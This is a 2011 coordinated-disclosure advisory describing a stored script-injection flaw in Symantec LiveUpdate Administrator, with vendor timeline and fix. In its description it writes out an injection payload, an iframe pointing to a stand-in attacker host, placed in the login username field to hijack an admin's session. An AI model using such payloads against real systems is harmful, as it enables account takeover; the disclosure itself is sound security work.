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Date: Tue, 22 Mar 2011 16:40:25 +0100
From: NSO Research <nso-research@...iriu.de>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: NSOADV-2011-001: Symantec LiveUpdate
Administrator CSRF vulnerability
______________________________________________________________________
NSOADV-2011-001: Symantec LiveUpdate Administrator CSRF vulnerability
______________________________________________________________________
______________________________________________________________________
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______________________________________________________________________
______________________________________________________________________
Title: Symantec LiveUpdate Administrator CSRF
vulnerability
Severity: Medium
Advisory ID: NSOADV-2011-001
Found Date: 14.07.2010
Date Reported: 17.01.2011
Release Date: 22.03.2011
Author: Nikolas Sotiriu
Mail: nso-research at sotiriu.de
Website: http://sotiriu.de/
Twitter: http://twitter.com/nsoresearch
Advisory-URL: http://sotiriu.de/adv/NSOADV-2010-001.txt
Vendor: Symantec (http://www.symantec.com/)
Affected Products: Symantec LiveUpdate Administrator <= 2.2.2.9
Remote Exploitable: Yes
Local Exploitable: No
CVE-ID: CVE-2011-0545
Patch Status: Vendor released an patch
Discovered by: Nikolas Sotiriu
Disclosure Policy: http://sotiriu.de/policy.html
Thanks to: Thierry Zoller: For the permission to use his
Policy
Background:
===========
The Symantec LiveUpdate Administrator is an enterprise Web application
that allows you to manage Symantec updates on multiple internal Central
LiveUpdate servers, called Distribution Centers. Using the Symantec
LiveUpdate Administrator, you download updates to the Manage Updates
folder, and then publish the updates to production distribution servers
for LiveUpdate clients to download, or to testing distribution centers,
so that the updates can be tested before they are published to production.
You can download and publish updates on schedule, allowing you to create
a low maintenance, reliable system that can be set up once, and then run
automatically. Updates can also be manually downloaded and published as
needed.
(Product description from LUA Admin Guide)
Description:
============
The webfrontend do not properly sanitize some variables before being
returned to the user.
If an attacker supplies a username, containing script code, at the
login-page of the service, an entry in the Event Log is done, containing
the "user name".
If the admin user is viewing the logfile, the script code will be
executed.
This can be exploited to execute arbitrary HTML and script code in a
admin's browser session in context of the Web Administrator frontend.
If an attacker passes a user name like
<iframe src=http://attacker/evil.html>
in the username field he can execute CSRF attacks against the
Webfrontend to change the settings.
The Proof of Concept code addes an admin account or executes an alert box.
Proof of Concept :
==================
* attached *
Solution:
=========
Update to Version 2.3
Symantec Security Advisory: http://tinyurl.com/4oox6hy
Disclosure Timeline (YYYY/MM/DD):
=================================
2010.07.14: Vulnerability found
2011.01.17: Sent PoC, Advisory, Disclosure policy and planned disclosure
date (2011.02.04) to Vendor
2011.01.17: Vendor response
2011.01.20: Symantec product team verifies the finding
2011.02.03: Ask for a status update
2011.02.03: Symantec Security Response Team informs me that the update
is planned for early to mid-March.
2011.02.03: Changed release date to 2011.03.10.
2011.03.03: Symantec Security Response Team informs me that the update
is planned for 2011.03.17.
2011.03.17: Symantec Security Response Team informs me that the update
QA needs a bit more time.
2011.03.21: Update and Security Advisory release.
2011.03.22: Release of this Advisory
View attachment "luaCSRF.pl" of type "text/plain" (5684 bytes)
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